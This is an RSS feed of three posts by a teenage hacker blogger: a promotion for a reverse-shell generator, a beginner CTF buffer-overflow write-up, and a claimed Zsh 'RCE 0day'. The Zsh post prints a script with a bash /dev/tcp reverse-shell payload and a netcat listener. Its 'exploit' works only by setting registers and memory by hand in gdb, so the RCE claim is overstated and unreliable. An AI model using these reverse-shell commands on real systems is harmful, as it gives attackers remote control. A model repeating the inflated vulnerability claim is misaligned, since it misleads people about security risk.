<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: pwn</title>
    <description>The latest articles on Forem by pwn (@pwn).</description>
    <link>https://forem.com/pwn</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3671468%2F20ab5c51-ae49-4e7f-b6de-3efa7f0abb11.jpg</url>
      <title>Forem: pwn</title>
      <link>https://forem.com/pwn</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/pwn"/>
    <language>en</language>
    <item>
      <title>LiveShell — Interactive Reverse Shell Generator</title>
      <dc:creator>pwn</dc:creator>
      <pubDate>Sat, 20 Dec 2025 10:44:23 +0000</pubDate>
      <link>https://forem.com/pwn/liveshell-interactive-reverse-shell-generator-42j6</link>
      <guid>https://forem.com/pwn/liveshell-interactive-reverse-shell-generator-42j6</guid>
      <description>&lt;p&gt;In the world of cybersecurity, having the right tools can make all the difference. Whether you’re a seasoned penetration tester or just starting your journey in ethical hacking, LiveShell is a tool you need in your arsenal. This &lt;strong&gt;Interactive Reverse Shell Generator&lt;/strong&gt; simplifies the process of creating reverse shell payloads, making it faster, easier, and more efficient than ever before. Here’s why LiveShell created by livepwn stands out:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82ovyp3g1hchghfi5v3x.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F82ovyp3g1hchghfi5v3x.webp" alt=" " width="661" height="539"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Multi-Language Support
&lt;/h2&gt;

&lt;p&gt;LiveShell supports reverse shell payload generation in multiple programming languages, including Python, PHP, Bash, Netcat (nc), Perl, Ruby, Go, PowerShell, and JavaScript. This versatility ensures that you can generate payloads for virtually any target environment, whether it’s a Linux server, a Windows machine, or an embedded system.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Python: Ideal for systems with Python installed.&lt;/li&gt;
&lt;li&gt;Bash: Perfect for Linux-based targets.&lt;/li&gt;
&lt;li&gt;PowerShell: Tailored for Windows environments.&lt;/li&gt;
&lt;li&gt;JavaScript: Great for Node.js or web-based exploits.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  2. Interactive and User-Friendly
&lt;/h2&gt;

&lt;p&gt;LiveShell features an interactive, menu-driven interface that guides you through the process of generating reverse shell payloads. No more memorizing complex commands or manually crafting payloads. Simply provide the IP address, port, and language, and LiveShell does the rest.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Beginner-Friendly: Even if you’re new to reverse shells, LiveShell makes it easy to get started.&lt;/li&gt;
&lt;li&gt;Time-Saving: Automates repetitive tasks, allowing you to focus on the bigger picture.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  3. Automated Listener
&lt;/h2&gt;

&lt;p&gt;One of the standout features of LiveShell is its built-in listener. Once you generate a payload, LiveShell automatically starts a listener on the specified port. This eliminates the need to manually set up a listener using tools like Netcat, saving you time and effort.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Seamless Integration: The listener is integrated into the tool, so you don’t need to switch between applications.&lt;/li&gt;
&lt;li&gt;Real-Time Feedback: Get immediate feedback when the target connects back to your machine.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  4. Fast and Efficient
&lt;/h2&gt;

&lt;p&gt;With LiveShell, you can generate reverse shell payloads in seconds. This efficiency is crucial during time-sensitive penetration tests or red team engagements, where every second counts.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No Manual Effort: Automates the process of creating and testing reverse shells.&lt;/li&gt;
&lt;li&gt;Reliable Results: Generates payloads that work across different environments.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Real-World Use Cases
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Penetration Testing: Use LiveShell to test the security of web applications, servers, and networks.&lt;/li&gt;
&lt;li&gt;Incident Response: Simulate attacks to identify vulnerabilities and improve defenses.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;LiveShell is more than just a tool — it’s a game-changer for ethical hackers and penetration testers. With its multi-language support, interactive interface, automated listener, and cross-platform compatibility, LiveShell simplifies the process of creating and using reverse shells. Whether you’re a beginner or an expert, this tool will save you time, reduce complexity, and help you achieve your goals faster.&lt;/p&gt;

&lt;p&gt;Ready to try it out? Head over to the &lt;a href="https://github.com/livepwn/liveshell" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; repository and start generating reverse shells like a pro!&lt;/p&gt;

&lt;p&gt;➜ GitHub Repository of Me: &lt;a href="https://github.com/livepwn" rel="noopener noreferrer"&gt;@livepwn&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>pwn</category>
      <category>hacker</category>
      <category>livepwn</category>
    </item>
    <item>
      <title>Pwn Challenges CTF 2025 [binary Exploiation]</title>
      <dc:creator>pwn</dc:creator>
      <pubDate>Sat, 20 Dec 2025 10:36:14 +0000</pubDate>
      <link>https://forem.com/pwn/pwn-challenges-ctf-2025-binary-exploiation-59g5</link>
      <guid>https://forem.com/pwn/pwn-challenges-ctf-2025-binary-exploiation-59g5</guid>
      <description>&lt;p&gt;Hello friends I am Rana M.Sinan Adil aka (livepwn).I am 17 years old hacker. I love to play ctf. I started learning pwn (binary exploiation). There are some cool challenges that also help you to solve some easy pwn challenges. Lets Start…&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;h2&gt;
  
  
  1: Bof1
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
So this challenge was the first challenge. Easy one.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0tnogl68geywjg6hgk6s.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0tnogl68geywjg6hgk6s.webp" alt=" " width="603" height="452"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We just have to bufferoverflow. And to overflow anything we just have to cross the limits of the thing. Like water, or code.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6j58q6edktaj4y73fexl.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6j58q6edktaj4y73fexl.webp" alt=" " width="659" height="277"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And there we go our first FLAG…&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;h2&gt;
  
  
  2: stack0
&lt;/h2&gt;

&lt;p&gt;**&lt;br&gt;
This was our 2nd pwn challenge. Same simple but thinking different. That,s why i couldn,t solve easy challenges fast.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvxvmd1iv00eyr6vhqu3.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbvxvmd1iv00eyr6vhqu3.webp" alt=" " width="602" height="434"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Same challenge bufferoverflow, but twist was you the limit was high compair to first challenge. So we just have to put more letters.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8f8uwn7kejexyiusytom.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8f8uwn7kejexyiusytom.webp" alt=" " width="664" height="285"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;**&lt;/p&gt;

&lt;h2&gt;
  
  
  3: heap0
&lt;/h2&gt;

&lt;p&gt;**This challenge was little bit complex. Because to solve this challenge you have to write code. So the challenge was&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqvwiix1rxfq9c7481hpa.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqvwiix1rxfq9c7481hpa.webp" alt=" " width="602" height="414"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So in this challenge we have to get shell and see the flag.txt by using cat command. I started pwn so i spend alot of time to run my code and get shell. I made but my commands was not running after getting shell. The problem was in my this script.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvuwzwzwa6d195u7sz0m8.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvuwzwzwa6d195u7sz0m8.webp" alt=" " width="536" height="472"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And I was getting this result from my script.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flqh0zbd9e7p8odwxkgu5.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flqh0zbd9e7p8odwxkgu5.webp" alt=" " width="720" height="294"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Press enter or click to view image in full size&lt;/p&gt;

&lt;p&gt;So atlast after spending alot of time because of being a self-learner and not having any friend or teacher. I solved it and took a long breath of happiness.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyc7mklkyv0jldddrdmyr.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyc7mklkyv0jldddrdmyr.webp" alt=" " width="536" height="472"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The problem was in padding. padding = b"A" * (0x40 - 0x08) if you know the buffer size and offset. This is the better approach because it dynamically calculates the padding and is more maintainable. And this solved my problem. And the movement of truth…..&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs41fx7in670hj7k2svfm.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs41fx7in670hj7k2svfm.webp" alt=" " width="720" height="329"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hurrah….!!! Solved …&lt;/p&gt;

&lt;p&gt;Become a member&lt;br&gt;
I love ctf. And I know you also. I love to have you my friend.&lt;/p&gt;

</description>
      <category>livepwn</category>
      <category>testing</category>
      <category>cybersecurity</category>
      <category>pwn</category>
    </item>
    <item>
      <title>My Writeup (0day in Zsh (RCE))</title>
      <dc:creator>pwn</dc:creator>
      <pubDate>Sat, 20 Dec 2025 04:49:26 +0000</pubDate>
      <link>https://forem.com/pwn/my-writeup-0day-in-zsh-rce-2245</link>
      <guid>https://forem.com/pwn/my-writeup-0day-in-zsh-rce-2245</guid>
      <description>&lt;p&gt;&lt;strong&gt;&lt;em&gt;I am Rana M.Sinan Adil aka (livepwn). I am 17 years old i was working on bug and also created a exploit.Hope you will enjoy :)&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How it worked:
&lt;/h2&gt;

&lt;p&gt;I have two laptop, lp1 and lp2. I run the exploit in lp1 just changed the ip and putted ip of my lp2. And i started the netcat in lp2. And i got a shell of lp1 in lp2.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Initial Discovery
&lt;/h2&gt;

&lt;p&gt;I was trying some different things in zsh shell, and i got knew about history expression,which is “!!”. I tried writing something with it like trying numbers and first i tried writing “1” like 5 times like this “!!11111” and output “zsh: no such word in event”. Then i tried writing more number and when i tried this “!!11111111111” the shell suddenly crashed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Debugging the Crash
&lt;/h2&gt;

&lt;p&gt;Then i tried to investigate this crash in gdb especially on pwndbg because i also played ctf. I ran “gdb zsh -f” just to insure that bug is in zsh not in ohmyzsh files. Then when i run “!!11111111111” after running “run -f” it said “zsh:event not found 0” i thinked it,s just somthing else but suddenly i remembered that when i ran “!!11111” it said “zsh:no such word in event” but i didn,t showed 0 like in gdb. I gave random commands like “hack” not linux commands because then it will execute them and give me a proper result i just want something that will save in history event and then i tried “!!11111111111” and i got segmentation fault but with it i got something this “movsx r9, word ptr [r8 + rsi*2]” trying to read from invalid memory at offset 0x5555555a1331, resulting in a segmentation fault which demonstrates successful triggering of the memory corruption vulnerability via integer overflow in history substitution parsing.&lt;/p&gt;

&lt;p&gt;The Exploitation Journey&lt;br&gt;
Then i started moving deeply and i was shocked that i hijaced the THREE critical components: “rip”,”rdi”,”rsp”. Then after spending time on trying different things i set “rip” redirected execution to system() equivalent.&lt;br&gt;
Memory Analysis and Payload Injection&lt;br&gt;
And then i analyzed the memory layout to identify suitable locations for payload injection. Through gdb examination, I identified writable memory regions and selected address 0x555555659000 as the injection point for my shellcode. Through gdb “info proc mappings” command, I identified suitable memory regions for payload injection.I used this GDB command to write my exploit code into memory:”set {char[120]} 0x555555659000 = “bash -c \”bash -i &amp;gt;&amp;amp; /dev/tcp/IP/PORT 0&amp;gt;&amp;amp;1\”””.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Stack Pointer Dance
&lt;/h2&gt;

&lt;p&gt;I needed to manipulate the program to execute my injected code so i set the return address on stack “set {long}0x7fffffffd868 = 0x7ffff7cc9110” this placed a libc system-like function address where the program would return to. Then i point rdi to my shellcode “set $rdi = 0x555555659000” after that i adjusted the stack pointer “set $rsp = $rsp — 8”,to make space on the stack for our manipulated return address and i called it the “Stack Pointer Dance”.The $rsp (Stack Pointer) register points to the top of the stack — think of it as a “bookmark” in the program’s memory that tracks where we are in the current function call chain. But by subtracting 8, I was essentially creating a new slot on the stack. Why ? Because i needed to plant a fake return address that would hijack the program’s execution flow.&lt;/p&gt;
&lt;h2&gt;
  
  
  Final Execution Hijack
&lt;/h2&gt;

&lt;p&gt;Then after all this i tried run “continue” but it hit another segfault because we hadn’t fully set up the execution path yet. So i set up the final execution “set {long}$rsp = 0x55555555a000” . Then this is where i hijacked the instruction pointer:&lt;br&gt;
“set $rip = 0x7ffff7cc9110” this is the KEY STEP, we point the instruction pointer to a system-like function in libc. Then we have to ensure that RDI still points to our shellcode:”set $rdi = 0x555555659000",and then i just started “continue” and i got something.&lt;/p&gt;
&lt;h2&gt;
  
  
  Requirement
&lt;/h2&gt;

&lt;p&gt;.pwndbg have to be installed.&lt;/p&gt;
&lt;h2&gt;
  
  
  Key Points
&lt;/h2&gt;

&lt;p&gt;If you have zsh — version (5.9) which is latest try this given exploit and run it in linux i used kali linux and most important to run this exploit just change the ip address and the “p system” in exploit, because i also tried this in my second laptop, and to change it run this following command in gdb (especially in pwndbg ):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
gdb zsh -f (in terminal)

pwndbg&amp;gt; run -f

username% ! (username will be your,s just write ! )

username% !!11111111111 (same here just write !!11111111111 )

pwndbg&amp;gt; p system
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;after getting "p system" address just change it in the following line in exploit:&lt;/p&gt;

&lt;p&gt;b'set $rip = 0x7ffff7cc9110', ( use your p system address in place of 0x7ffff7cc9110&lt;br&gt;
The Exploit:&lt;br&gt;
More details are in my github repo:&lt;br&gt;
Github: &lt;a href="https://github.com/livepwn/exploit" rel="noopener noreferrer"&gt;https://github.com/livepwn/exploit&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import pexpect
import sys
import time
def debug_print(msg):
 print(f"[DEBUG] {msg}")
def return_to_gdb(gdb, max_attempts=3, timeout=3):
 """More reliable function to return to GDB prompt"""
 debug_print("Attempting to return to GDB…")
 for attempt in range(max_attempts):
 gdb.sendintr() # Send CTRL+C
 time.sleep(0.5)
 try:
 index = gdb.expect([b'pwndbg&amp;gt;', b'\(gdb\)', pexpect.TIMEOUT], timeout=timeout)
 if index in [0, 1]: # Found either pwndbg&amp;gt; or (gdb) prompt
 debug_print("Successfully returned to GDB")
 return True
 except pexpect.EOF:
 debug_print("Session ended unexpectedly")
 return False

 debug_print(f"Attempt {attempt + 1} failed, retrying…")

 debug_print("Failed to return to GDB after maximum attempts")
 return False
# Configure pexpect with consistent bytes mode
gdb = pexpect.spawn('gdb - args zsh -f', timeout=30, encoding=None)
gdb.logfile = sys.stdout.buffer
debug_print("Starting GDB with zsh -f…")
try:
 gdb.expect(b'pwndbg&amp;gt;', timeout=10)
 debug_print("GDB started successfully")
except (pexpect.EOF, pexpect.TIMEOUT) as e:
 debug_print(f"GDB failed to start: {str(e)}")
 sys.exit(1)
# Run zsh and handle shell
debug_print("Running zsh…")
gdb.sendline(b'run')
shell_prompts = [b'% ', b'# ', b'\\$ ', b'vuln&amp;gt;', b'vuln% ']
try:
 gdb.expect(shell_prompts + [b'pwndbg&amp;gt;'], timeout=10)
 debug_print("Shell started successfully")
except pexpect.TIMEOUT:
 debug_print("Timeout waiting for shell")
 gdb.sendintr()
 time.sleep(1)
# Shell command execution
if any(prompt in gdb.after for prompt in shell_prompts):
 for cmd in [b'!', b'!!11111111111']:
 debug_print(f"Sending: {cmd.decode('utf-8', errors='replace')}")
 gdb.sendline(cmd)
 try:
 gdb.expect(shell_prompts, timeout=3)
 debug_print("Command executed")
 except pexpect.TIMEOUT:
 debug_print("No response from command")
# Use the new return_to_gdb function
 if not return_to_gdb(gdb):
 debug_print("Critical error - couldn't return to GDB")
 sys.exit(1)
# Memory operations - simplified and more reliable
if b'pwndbg&amp;gt;' in gdb.after:
 mem_commands = [
 b'x/s 0x555555659000',
 b'set {char[120]} 0x555555659000 = "bash -c \\"bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.100.57/4444 0&amp;gt;&amp;amp;1\\""',
 b'set {long}0x7fffffffd868 = 0x7ffff7cc9110',
 b'set $rdi = 0x555555659000',
 b'set $rsp = $rsp - 8',
 b'continue',
 b'set {long}$rsp = 0x55555555a000',
 b'set $rip = 0x7ffff7cc9110',
 b'set $rdi = 0x555555659000',
 b'continue'
 ]
for cmd in mem_commands:
 debug_print(f"Executing: {cmd.decode('utf-8', errors='replace')}")
 gdb.sendline(cmd)
 try:
 if b'continue' in cmd:
 gdb.expect([b'pwndbg&amp;gt;'] + shell_prompts, timeout=15)
 else:
 gdb.expect(b'pwndbg&amp;gt;', timeout=5)
 except pexpect.TIMEOUT:
 debug_print("Timeout - attempting to recover…")
 if not return_to_gdb(gdb):
 debug_print("Failed to recover after timeout")
 break
# Final interactive mode
debug_print("Complete - entering interactive")
try:
 gdb.logfile = None
 gdb.interact()
except Exception as e:
 debug_print(f"Interactive error: {str(e)}")
finally:
 gdb.close()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;before running it start the netcat by using command (nc -lnvp 4444)&lt;br&gt;
and run it:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Thanks for Every Things Hackers. I wish you happy carrier in Cyber Security.&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>pwn</category>
      <category>python</category>
      <category>livepwn</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
